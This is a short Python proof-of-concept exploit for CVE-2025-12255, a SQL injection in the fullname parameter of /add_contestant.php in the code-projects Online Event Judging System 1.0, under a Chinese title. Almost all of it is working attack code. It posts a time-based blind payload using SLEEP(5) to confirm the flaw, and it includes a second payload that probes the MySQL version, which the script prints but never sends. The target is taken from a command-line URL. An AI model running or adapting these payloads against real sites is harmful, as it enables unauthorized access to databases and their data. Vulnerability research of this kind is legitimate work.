CVE-2025-12255: code-projects Online Event Judging System 1.0 SQL注入漏洞

import requests import sys # CVE-2025-12255 SQL Injection PoC # Target: code-projects Online Event Judging System 1.0 # Vulnerability: SQL Injection in /add_contestant.php via fullname parameter def exploit_sqli(target_url): """ SQL Injection exploit for CVE-2025-12255 This PoC demonstrates time-based blind SQL injection """ # Target endpoint endpoint = f"{target_url}/add_contestant.php" # Payload for time-based blind SQL injection # This payload causes a 5-second delay if vulnerable # Using CASE WHEN condition THEN (SELECT...SLEEP(5)) ELSE 0 END pattern payload = "admin' AND (SELECT CASE WHEN (1=1) THEN (SELECT 1 FROM (SELECT SLEEP(5))x) ELSE 0 END) AND '1'='1" # Data to be sent data = { 'fullname': payload, 'submit': 'Add Contestant' } print(f"[*] Target: {endpoint}") print(f"[*] Payload: {payload}") try: print("[*] Sending malicious request...") response = requests.post(endpoint, data=data, timeout=15) if response.elapsed.total_seconds() >= 5: print("[+] Vulnerability confirmed! Time-based blind SQL injection works.") print(f"[+] Response time: {response.elapsed.total_seconds()}s") return True else: print("[-] Target may not be vulnerable or payload needs adjustment") return False except requests.exceptions.Timeout: print("[+] Vulnerability confirmed! Request timed out as expected.") return True except Exception as e: print(f"[-] Error: {str(e)}") return False def extract_data(target_url): """ Example: Extract database version using blind SQL injection """ # Database version extraction payload version_payload = "admin' AND (SELECT CASE WHEN (SUBSTRING(@@version,1,1)='5') THEN (SELECT 1 FROM (SELECT SLEEP(3))x) ELSE 0 END) AND '1'='1" print(f"[*] Extracting database information...") print(f"[*] Testing if MySQL version starts with '5'...") # Implementation would iterate through characters # This is a simplified demonstration print("[*] Use sqlmap or similar tool for comprehensive exploitation") if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-12255.py <target_url>") print("Example: python cve-2025-12255.py http://localhost/online-event-judging-system") sys.exit(1) target = sys.argv[1].rstrip('/') exploit_sqli(target)